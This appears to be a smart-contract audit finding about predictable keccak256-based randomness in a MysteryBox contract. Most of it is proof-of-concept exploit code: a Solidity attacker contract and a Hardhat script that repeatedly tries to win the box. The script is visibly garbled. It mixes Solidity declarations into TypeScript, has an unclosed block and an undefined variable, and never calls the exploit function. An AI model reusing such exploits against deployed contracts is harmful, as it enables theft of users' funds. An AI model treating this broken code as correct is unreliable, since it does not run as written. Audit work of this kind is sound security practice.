**Description: **The use of keccak256 is a weak method of generating random number. As the protocol
could hacked as shown in the Proof of Concept below.
pragma solidity ^0.8.0;
import "./MysteryBox.sol";
contract MysteryBoxAttack{
MysteryBox public mysteryBox;
uint256 value = 99;
constructor()payable{
require(msg.value == 0.1 ether, "Not enough ether sent");
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function callExploitedOpenBox() public{
require(value == uint256(
keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100,
"Try again");
mysteryBox.openBox();
}
}
Then, loads up VSCode and create a function in hardhat to call our exploit contract
import {ethers} from 'hardhat'
import myContract2 from '../artifacts/contracts/MysteryBoxAttack.sol/MysteryBoxAttack.json'
import myContract from '../artifacts/contracts/MysteryBoxAttack.sol/MysteryBox.json'
async function buyBox(){
try{
const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545/");
const accounts = await provider.listAccounts();
const driverAccount = accounts[0];
const contract = new ethers.Contract("0x5FbDB2315678afecb367f032d93F642f64180aa3",
myContract2.abi,provider)
const contractWithSigner = contract.connect(
await provider.getSigner(await driverAccount.getAddress()))
const buy_box = contractWithSigner.getFunction("buyBox")
const tx = await buy_box( {value:ethers.parseEther("0.1")})
await tx.wait(1)
}
catch(e){
console.error("Error creating Driver:", e);
}
}
async function attackOpenBox(_n:number) {
try{
const provider = new ethers.JsonRpcProvider("http://127.0.0.1:8545/");
const accounts = await provider.listAccounts();
const driverAccount = accounts[0];
const contract = new ethers.Contract("0x5FbDB2315678afecb367f032d93F642f64180aa3",
myContract.abi,provider)
const contract2 = new ethers.Contract("0x5FbDB2315678afecb367f032d93F642f64180aa3",
myContract2.abi,provider)
const contractWithSigner1 = contract.connect(await provider.getSigner(
await driverAccount.getAddress()))
const contractWithSigner2 = contract2.connect(await provider.getSigner(
await driverAccount.getAddress()))
var rewards[] = contractWithSigner1.getFunction("getRewards");
uint256 rewardLength = rewards.length;
console.log("rewardLength before Loop:", rewardLength);
uint256 newLength = 0;
uint256 count = 0;
while(newLength <= rewardLength){
count += 1;
console.log("Count Loop: ", count);
const exploitedOpenBox = contractWithSigner.getFunction("callExploitedOpenBox")
var newRewards[] = contractWithSigner2.getRewards();
newLength = newRewards.length;
}
console.log("Done!!");
catch(e){
console.error("Error creating Driver:", e);
}
}
buyBox()
attackOpenBox(99)